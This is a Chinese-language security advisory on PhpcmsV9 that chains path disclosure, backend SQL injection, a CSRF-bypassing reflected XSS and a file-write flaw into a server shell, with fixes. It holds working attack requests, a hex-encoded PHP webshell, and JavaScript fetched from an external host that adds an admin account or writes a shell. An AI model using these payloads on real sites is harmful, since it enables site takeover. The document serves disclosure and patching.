PhpcmsV9从反射型XSS到CSRF绕过到Getshell
Posted 阿里云应急响应
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PhpcmsV9从反射型XSS到CSRF绕过到Getshell相关的知识,希望对你有一定的参考价值。
0x01 测试场景:
1、版本信息截图如下:
2、检测者通过投稿的方式或者其他可能的方式递送存在漏洞的链接,一旦后台用户点击,就会自动添加一个新的管理员(该项需要管理权权限,后台其他重要操作等)或者在一定条件下直接getshell。
3、通过csrf漏洞或者直接登录后台,然后getshell。
接下来分说几个漏洞点,最后进行漏洞复现。
0x02 文件爆错
这种类型的洞在phpcms中还挺常见的,主要是没有处理好一些包含,单独挖这种洞实际上意义也不大,但是如果要getshell的话却缺一不可,简单列举几种类型。
2.1 漏洞文件:
\phpcms\modules\content\sitemodel_field.php的edit方法中
因为根本没有初始化$field_type
的值就进行了包含(前面有个if判断,进到逻辑中才进行赋值,否则不赋值)
直接请求/index.php?m=content&c=sitemodel_field&a=edit&modelid=&menuid=&pc_hash=xxxxx
即可爆路径
修复方案:
修改\phpcms\modules\content\sitemodel_field.php第124行为:
if(is_file(MODEL_PATH.$formtype.DIRECTORY_SEPARATOR.'config.inc.php')) require (MODEL_PATH.$formtype.DIRECTORY_SEPARATOR.'config.inc.php');
修改前后对比:
修改后已无法爆路径。
2.2 漏洞文件:
\phpcms\modules\formguide\formguide_field.php
变量直接进行包含,可爆路径链接:
/index.php?m=formguide&c=formguide_field&a=public_field_setting
修复方案:
修改\phpcms\modules\formguide\formguide_field.php第300行为
if(is_file(MODEL_PATH.$fieldtype.DIRECTORY_SEPARATOR.'config.inc.php')) require (MODEL_PATH.$fieldtype.DIRECTORY_SEPARATOR.'config.inc.php');
修改前后对比:
修改后已无法爆路径
2.3 漏洞文件:
/caches/configs/system.php
/cache/configs/system.php
修复方案:
在/caches/configs/system.php头部添加
defined('IN_PHPCMS') or exit('No permission resources.');
修改前后对比图:
修改后已无法爆路径
0x03 后台“鸡肋”注入
Phpcms默认全局会对传递的$_GET
,$_POST
等参数值进行addslashes转义处理,再加上变量大部分都会被单引号包裹,很多数值参数也是直接int处理,所以要找到注入还是比较难的。这次的审计中,前台没有再找到注入(之前parse_str函数出过注入),后台倒是找到了一些,不过由于phpcms的密码加密方式,单独的后台注入并没有什么作用,但是如果在当前数据库用户有写权限,并且知道路径的情况下,那就可以直接into outfile从而getshell了。接下来介绍3种类型的注入.
3.1 变量没有处理直接进入数据库查询
\phpcms\modules\poster\poster.php
在stat函数中
第222行获取变量$group
的值,没有加单引号,加了`
第226行进入get_one函数,在该函数中
第80行进入db_mysqli.class.php的get_one函数
/index.php?m=poster&c=poster&a=stat&pc_hash=xxxxx&id=1&click=1&group=type`%20ORDER%20BY%20(select%201=(updatexml(1,concat(0x5e24,(select%20user()),0x5e24),1)))%23
数据库执行语句为:
SELECT COUNT(*) AS num FROM `phpcmsv9`.`v9_poster_201707` WHERE `pid`='1' AND `siteid`='1' AND `type`='1' GROUP BY `type` ORDER BY (select 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)))#` LIMIT 1
这里因为addslashes函数的处理,是没办法引入单双引号,所以没办法into outfile
修复方案:
修改\phpcms\modules\poster\poster.php
第222,223行为
if(in_array($_GET['group'],array('username','area','ip','referer','clicktime','type')))
{
$group = " `".$_GET['group']."`";
$fields = "*, COUNT(".$_GET['group'].") AS num";
$order = " `num` DESC";
}
else
{
$group = " `type`";
$fields = "*, COUNT(type) AS num";
$order = " `num` DESC";
}
修改前后对比图:
修改后已无法注入
3.2 数据库查询直接传入数组导致的注入
\phpcms\modules\content\sitemodel_field.php
在add函数中
第51行直接传入$_POST['info']
数组,也即意味着我们不仅可以控制数组的值,还可以控制键值。
调用\phpcms\libs\classes\model.class.php的insert方法
调用\phpcms\libs\classes\db_mysqli.class.php的insert方法
第193行,对数组的键值调用add_special_char方法进行处理
该函数对值添加`字符作为字段,并且检验是否包含一些特定的关键字,不过用替换为空处理着实不明智。
所以这个函数基本上没有做任何防护处理
第201行调用execute方法执行最后的数据库操作语句
综上,我们可以控制$_POST['info']
的键来进行注入
测试过程:
在后台:
内容 > 内容相关设置 > 模型管理 >
选择一个模型进行字段管理,然后点击添加字段,填写数据后抓包
POST /index.php?m=content&c=sitemodel_field&a=add HTTP/1.1
Host: 192.168.99.127
Content-Length: 856
Cache-Control: max-age=0
Origin: http://192.168.99.127
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://192.168.99.127/index.php?m=content&c=sitemodel_field&a=add&modelid=12&menuid=59&pc_hash=hvTown
Accept-Language: en,zh-CN;q=0.8,zh;q=0.6
Cookie:
Connection: close
info[formtype]=text&issystem=0&info[issystem]=0&info[field]=heiheihei9&info[name]=heiheiheihei&info[tips]=&setting[size]=50&setting[defaultvalue]=&setting[ispassword]=0&info[formattribute]=&info[css]=&info[minlength]=0&info[maxlength]=&info[pattern]=&pattern_select=&info[errortips]=&info[isunique]=0&info[isbase]=1&info[issearch]=0&info[isadd]=1&info[isfulltext]=1&info[isomnipotent]=0&info[isposition]=0&info[modelid]=12&dosubmit=%CC%E1%BD%BB&pc_hash=hvTown&info[`test`,`setting`,`siteid`,`unsetgroupids`,`unsetroleids`) VALUES ('text','0','heiheihei3','heiheiheihei'or updatexml(1,concat(0x7e,(version())),0) or'','','','','0','','','','0','1','0','1','1','0','0','12','1234\'','{\"size\":\"50\",\"defaultvalue\":\"\",\"ispassword\":\"0\"}','1','','')%23]=1234
在info数组中添加一个数据,键为数据库注入语句
每查询一次就要修改一次info[field]的值,否则数据库会爆字段重复错误。这里因为addslashes函数的处理,是没办法引入单双引号,所以没办法into outfile
修复建议:
指定传入insert的键值或者限定$_POST['info']
数组中的键为固定数组中的一个,修改\phpcms\modules\content\sitemodel_field.php第51行为
$this->db->insert(array('modelid'=>$modelid,'field'=>$field, 'minlength'=>$minlength, 'maxlength'=>$maxlength, 'formtype'=>$field_type, 'setting'=>$_POST['info']['setting'], 'siteid'=>$_POST['info']['siteid'], 'unsetgroupids'=>$_POST['info']['unsetgroupids'],'unsetroleids'=>$_POST['info']))
或者在第50行后添加
$fields = array('modelid', 'field', 'minlength', 'maxlength','formtype','setting','siteid','unsetgroupids','unsetroleids');
foreach ($_POST['info'] as $k=>$value)
{
if (!in_array($k, $fields))
{
unset($_POST['info'][$k]);
}
}
这里选择后者,便于管理与操作
修改后对比图:
修改后已无法进行注入。
其他:在edit函数中
也是同样直接传入$_POST['info']
数组,也即意味着我们不仅可以控制数组的值,还可以控制键值,最后造成update型注入,这里不再赘述。修复方法同上。
像\phpcms\modules\content\sitemodel_field.php文件一样因为直接传入数组查询导致注入的还有以下文件,这里只列举,不再赘述:
\phpcms\modules\content\type_manage.php
add方法insert注入
\phpcms\modules\content\workflow.php
add方法insert注入/edit方法update型注入
\phpcms\modules\formguide\formguide.php
add方法insert注入/edit方法update型注入
\phpcms\modules\member\member.php
add方法insert注入
\phpcms\modules\member\member_menu.php
add方法insert注入/edit方法update型注入
\phpcms\modules\member\member_modelfield.php
add方法insert注入/edit方法update型注入
\phpcms\modules\poster\poster.php
add方法insert注入/edit方法update型注入
\phpcms\modules\poster\space.php
add方法insert注入/edit方法update型注入
\phpcms\modules\search\search_type.php
add方法insert注入/edit方法update型注入
\phpcms\modules\special\content.php
add方法insert注入/edit方法update型注入
\phpcms\modules\special\special.php
add方法insert注入/edit方法update型注入
\phpcms\modules\admin\badword.php
add方法insert注入/edit方法update型注入
\phpcms\modules\admin\category.php
add方法insert注入/edit方法update型注入
\phpcms\modules\admin\copyfrom.php
add方法insert注入/edit方法update型注入
\phpcms\modules\admin\ipbanned.php
add方法insert注入/edit方法update型注入
\phpcms\modules\admin\keylink.php
add方法insert注入/edit方法update型注入
\phpcms\modules\admin\menu.php
add方法insert注入/edit方法update型注入
\phpcms\modules\admin\position.php
add方法insert注入/edit方法update型注入
\phpcms\modules\admin\role.php
add方法insert注入/edit方法update型注入
\phpcms\modules\admin\urlrule.php
add方法insert注入/edit方法update型注入
这里其实还有个思路,先insert要into outfile的数据到数据库中,然后找到一个二次入库的点,可以getshell,不过随便找了一下,发现phpcms二次入库的点还挺少的,直接放弃。
3.3 因为变量覆盖导致的注入
\phpcms\modules\message\message.php
在search_message函数中
第259行初始化$where
参数
第260行,将$_POST['search']
中的键注册为变量
第280行,$where
参数传入listinfo函数
在listinfo函数中
第58行,$where
传入count函数
在count函数中
第142行$where
传入get_one函数
在get_one函数中
第140行进入execute函数执行
综上,因为extract函数的关系,这里$where参数(通过$_POST['search']['where'])
是可控的,可构造一个不带单双引号的注入
请求如下:
POST /index.php?m=message&c=message&a=search_message&menuid=1620 HTTP/1.1
Host: 192.168.99.127
Content-Length: 208
Cache-Control: max-age=0
Origin: http://192.168.99.127
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://192.168.99.127/index.php?m=message&c=message&a=init&menuid=1620&pc_hash=0rStVl
Accept-Language: en,zh-CN;q=0.8,zh;q=0.6
Cookie:
Connection: close
search[status]=&search[username]=todaro&search[start_time]=&search[end_time]=&dosubmit=%CB%D1%CB%F7&pc_hash=0rStVl&search[where]=1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))%23
最后执行的数据库语句为
SELECT COUNT(*) AS num FROM `phpcmsv9`.`v9_message` WHERE 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))# AND send_from_id='todaro' or send_to_id='todaro'
不过因为phpcms的全局处理,所以如果在$where
参数中加入单双引号是会过滤的,所以这里也不能into outfile
不过回头又重新看了一下,发现事情还有转机
在listinfo函数将$where
参数传入count函数后
$where
会被to_sqls函数进行处理
在该函数中会判断传入的参数,如果是数组,会分别将键值对取出来,键只添加``,而值会加单引号
所以如果如果能给to_sqls函数传入数组,那么在键中就可以加入单双引号!
来重新看一下search_message函数
如果不进入第264行和第272行中,$where
就能是一个数组
综合第261行的判断,这里只要让$username
为空、$start_time
和$end_time
其中一个为空,即可满足要求。
综上,请求如下数据
POST /index.php?m=message&c=message&a=search_message&menuid=1620 HTTP/1.1
Host: 192.168.99.127
Content-Length: 333
Cache-Control: max-age=0
Origin: http://192.168.99.127
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Referer: http://192.168.99.127/index.php?m=message&c=message&a=init&menuid=1620&pc_hash=xxxxx
Accept-Language: en,zh-CN;q=0.8,zh;q=0.6
Cookie:
Connection: close
search[status]=&search[username]=&search[start_time]=1&search[end_time]=&dosubmit=%CB%D1%CB%F7&pc_hash=xxxxx&search[where][replyid`/**//**/union/**/select/**/0x3c3f706870204061737365727428245f4745545b27636d64275d293b3f3e/**/into/**/outfile/**/'C:/www/cms/phpcms_v9.6.3_GBK/phpcms/modules/message/1.php'%23]=1
(绝对路径由前面爆路径所得)
如果当前数据库用户有写权限,即可生成/phpcms/modules/message/1.php文件
我们再来看一下这个操作所需要的权限及位置:
位置:模块 > 模块列表 > 短消息 >“搜索处”
设置该权限:设置 > 管理员设置 > 角色管理 >权限设置>模块>模块列表>短消息
短消息这个功能对于后台用户(总编、编辑、运营总监、发布人员、站点管理员、超级管理员)来说,赋予其这个权限应该不算太高吧?
修复建议:
修改\phpcms\modules\message\message.php文件
第260行为
extract($_POST['search'],EXTR_SKIP);
修改后即可防止变量覆盖,无法getshell。
像\phpcms\modules\message\message.php文件一样因为变量覆盖导致注入的还有以下文件,这里只列举,不再赘述:
\phpcms\modules\pay\payment.php
pay_list函数/pay_stat函数
\phpcms\modules\admin\ipbanned.php
search_ip函数
\phpcms\modules\attachment\manage.php
init函数
上面的注入都存在于后台中,所以会验证pc_hash这个值,而这个值也是用来进行csrf防御的,主要在调用一些函数时会校验该值,所以管理员直接访问/index.php?m=admin是不需要校验该值,而且请求后pc_hash的值会返回给客户端。如果我能找到一个前台的xss,那么就能定向管理员然后获取pc_hash这个值,最后以csrf漏洞的利用方式一样,在后台为所欲为以至于getshell。但是phpcms前台用户的操作很有限,我反正没找到xss。
不过我在后台中找到了一个反射型xss,但是如同上面说的在调用一些函数时会校验pc_hash的值,这就成悖论了:要想触发后台xss,就得先有pc_hash,但是pc_hash又得通过xss获取。怎么办,回过头来审视一下pc_hash校验的过程,看看到底是调用哪些函数会触发该校验。后台操作默认都会有这一个引入
调用\phpcms\modules\admin\classes\admin.class.php类admin的__construct函数
第18行调用check_priv函数
在该函数的第171行如果$_GET[‘a’]
参数为public_开头的则返回true
第24行调用check_hash函数来校验pc_hash的值以防止csrf漏洞
同样的在该函数中,如果$_GET[‘a’]
参数为public_开头的则返回true,不再校验pc_hash
所以如果后台中有以public_开头的函数存在漏洞,则能绕过pc_hash的校验,造成csrf漏洞。
上面说到的后台反射型xss就是在public_开头的函数中,所以后台用户访问时不需要校验pc_hash,不过还是会校验后台权限,所以这个xss只能用来攻击后台用户。
0x04 化腐朽为神奇的后台反射型xss
在\phpcms\modules\admin\plugin.php文件public_appcenter_ajx_detail函数中
第409行获取远程内容
第411行$_GET['jsoncallback']
连同获取的内容被一起输出到页面中
/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=<script src=http://192.168.99.129/3.js></script>
3.js的内容为’alert(1);’
,后台用户访问该链接即可加载远端js,然后js被执行,弹出1
修复建议:
修改\phpcms\modules\admin\plugin.php文件
第411行为
echo htmlspecialchars($_GET['jsoncallback'].'('.$data.')');
修改后对比图:
修改后js已经不能被加载和执行
(注:()内本来不会有内容的,因为请求域名不存在,本地网络被运营商劫持,强行加上去的)
利用:
将以下1,2,3方法联合起来使用,就可以实现点击一个链接造成添加管理员或者直接getshell的效果
(1)添加管理员
有了xss,有了pc_hash,那就能通过csrf漏洞在后台为所欲为了,比如添加一个管理员。在添加管理员中的请求中还有一个重要的参数,就是admin_manage_code
这个参数可以从以下连接获取。
/index.php?m=admin&c=admin_manage&a=add&menuid=54&pc_hash=xxxxx
所以这里需要先获取到pc_hash,然后再获取admin_manage_code,最后就能构造添加管理员的请求包,管理员已登录的情况下,火狐打开如下链接:
/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=%3Cscript%20src=http://192.168.99.129/2.js%3E%3C/script%3E
更新:绕过最新chrome浏览器的xss auditor:
/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=<br>%00%00%00%00%00%00%00%3Cscript%20src=http://192.168.99.129/2.js%3E%3C/script%3E
2.js的内容为如下:
var request = false;
if (window.XMLHttpRequest) {
request = new XMLHttpRequest();
if (request.overrideMimeType) {
request.overrideMimeType('text/xml')
}
} else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for (var i = 0; i < versions.length; i++) {
try {
request = new ActiveXObject(versions[i])
} catch (e) {}
}
}
xmlhttp = request;
xmlhttp.open("GET", "http://192.168.99.127/index.php?m=admin", false);
xmlhttp.send(null);
var pc_hash = xmlhttp.responseText.match(/pc_hash = '(\S*)'/)[1];//获取pc_hash
xmlhttp = request;
xmlhttp.open("GET", "http://192.168.99.127/index.php?m=admin&c=admin_manage&a=add&menuid=54&pc_hash="+pc_hash, false);
xmlhttp.send(null);
var admin_manage_code = xmlhttp.responseText.match(/value="(\S*)" id="admin_manage_code"/)[1];//获取admin_manage_code
var parm = "info%5Busername%5D=test1234&info%5Bpassword%5D=a123123&info%5Bpwdconfirm%5D=a123123&info%5Bemail%5D=1%402ssq.com&info%5Brealname%5D=&info%5Broleid%5D=1&info%5Badmin_manage_code%5D=01c9kekPNINAsqNA_eZY4M1SceLV8Oc70B3nQj6PlXEGMqV-XOBPs0tSqaWcjJ3qZV_2Y6lc9Ts&dosubmit=%CC%E1%BD%BB&pc_hash="+ pc_hash +"&info%5Badmin_manage_code%5D="+admin_manage_code;//添加管理员
xmlhttp = request;
xmlhttp.open("POST", "http://192.168.99.127/index.php?m=admin&c=admin_manage&a=add", true);
xmlhttp.setRequestHeader("Cache-Control","no-cache");
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded")
xmlhttp.send(parm);
请求后会添加一个用户名为test1234密码为a123123的管理员
其他后台的操作可以以同样的方法实现,这里不再赘述
0x05 从反射型XSS到CSRF绕过到有条件getshell
/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=%3Cscript%20src=http://192.168.99.129/1.js%3E%3C/script%3E
更新:绕过最新chrome浏览器的xss auditor:
/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=<br>%00%00%00%00%00%00%00%3Cscript%20src=http://192.168.99.129/1.js%3E%3C/script%3E
1.js的内容如下
var request = false;
if (window.XMLHttpRequest) {
request = new XMLHttpRequest();
if (request.overrideMimeType) {
request.overrideMimeType('text/xml')
}
} else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for (var i = 0; i < versions.length; i++) {
try {
request = new ActiveXObject(versions[i])
} catch (e) {}
}
}
xmlhttp = request;
xmlhttp.open("GET", "http://192.168.99.127/index.php?m=admin", false);
xmlhttp.send(null);
var pc_hash = xmlhttp.responseText.match(/pc_hash = '(\S*)'/)[1];
//获取pc_hash
xmlhttp = request;
xmlhttp.open("GET", "http://192.168.99.127/index.php?m=content&c=sitemodel_field&a=edit&modelid=&menuid=&pc_hash="+pc_hash, false);
xmlhttp.send(null);
var locations = xmlhttp.responseText.match(/required '(\S*)content/)[1].replace(/\\/g,"/");
//获取绝对路径
var parm = "search%5Bstatus%5D=&search%5Busername%5D=&search%5Bstart_time%5D=1&search%5Bend_time%5D=&dosubmit=%CB%D1%CB%F7&pc_hash="+ pc_hash +"&search%5Bwhere%5D%5Breplyid`/**//**/union/**/select/**/0x3c3f706870204061737365727428245f4745545b27636d64275d293b3f3e/**/into/**/outfile/**/'"+locations+"message/2.php'%23%5D=1";
//攻击payload
xmlhttp = request;
xmlhttp.open("POST", "http://192.168.99.127/index.php?m=message&c=message&a=search_message&menuid=1620", true);
xmlhttp.setRequestHeader("Cache-Control","no-cache");
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded")
xmlhttp.send(parm);
请求后会自动生成/phpcms/modules/message/2.php
上面的这些利用都是基于这个反射xss的前提下(或者已经登录后台),且涉及到getshell还需要有数据库的写权限,貌似限制还是比较大。那有没有不依靠反射xss且不需要数据库写权限的getshell方法呢?
有!!!!!!
如果上面的分析你有认真看,应该一个认识就是后台对public_开头的函数不进行pa_hash的校验,恰巧我就又找到了一处这种函数,而且还能将任意内容写入文件,那就意味着我可以通过csrf漏洞来进行后台getshell或者直接进入后台再getshell。
在\phpcms\modules\block\block_admin.php函数public_view中
第239行先判断数据库中是否有记录,没有记录的话即直接退出了。
综合第243、245行的判断需要满足表v9_block需要有数据,且选择的数据中type的值为2。
第252行获取要写入文件的内容
第258、259行对内容进行过滤,在函数new_stripslashes中
会对值进行stripslashes函数处理,把之前单引号过滤等还原回来
在函数template_parse中
该函数对写入文件的内容进行填充,第132行将
<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>
写入文件头部,以防止文件被web直接访问
第260行指定文件为\caches\cachestemplate\block\tmp$_GET[‘id’].php
第265行将内容写入到该文件中
如果文件写入成功,在267行包含该文件并读取内容,第270行删除该文件
综上,写入的文件内容可控,且因为new_stripslashes函数的处理导致我们可以引入单引号,也因为最后文件被包含后就会被删除,所以最后漏洞的利用方法为当文件被包含的时候就生成另外的文件。
漏洞的触发点在后台的
内容 > 内容发布管理 > 碎片管理 >
默认安装下v9_block表是空的,关于如何添加碎片: http://v9.help.phpcms.cn/html/2010/tools_0906/6.html
一旦用户已经添加过碎片,即v9_block表中有数据且type类型为2时就可以触发该漏洞,否则就比较麻烦,还是要利用上面的反射型xss先添加一个记录,再进行漏洞的利用。
id($_GET[‘id’])是可猜解的,发起如下请求:
POST /index.php?m=block&c=block_admin&a=public_view&id=2 HTTP/1.1
Host: 192.168.99.127
Content-Length: 178
Pragma: no-cache
Cache-Control: no-cache
Origin: http://192.168.99.127
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
DNT: 1
Referer:
Cookie:
Connection: close
title[x]=a&url[x]=b&thumb[x]=c&desc[x]=d&template=heiheihei<?php @file_put_contents('C:\www\cms\phpcms_v9.6.3_GBK\caches\caches_template\block\1.php','<?php echo\'bbb\'?>');?>bbb
即可生成\caches\caches_template\block\1.php文件
从CSRF到漏洞的利用脚本我就不写了。
以上是关于PhpcmsV9从反射型XSS到CSRF绕过到Getshell的主要内容,如果未能解决你的问题,请参考以下文章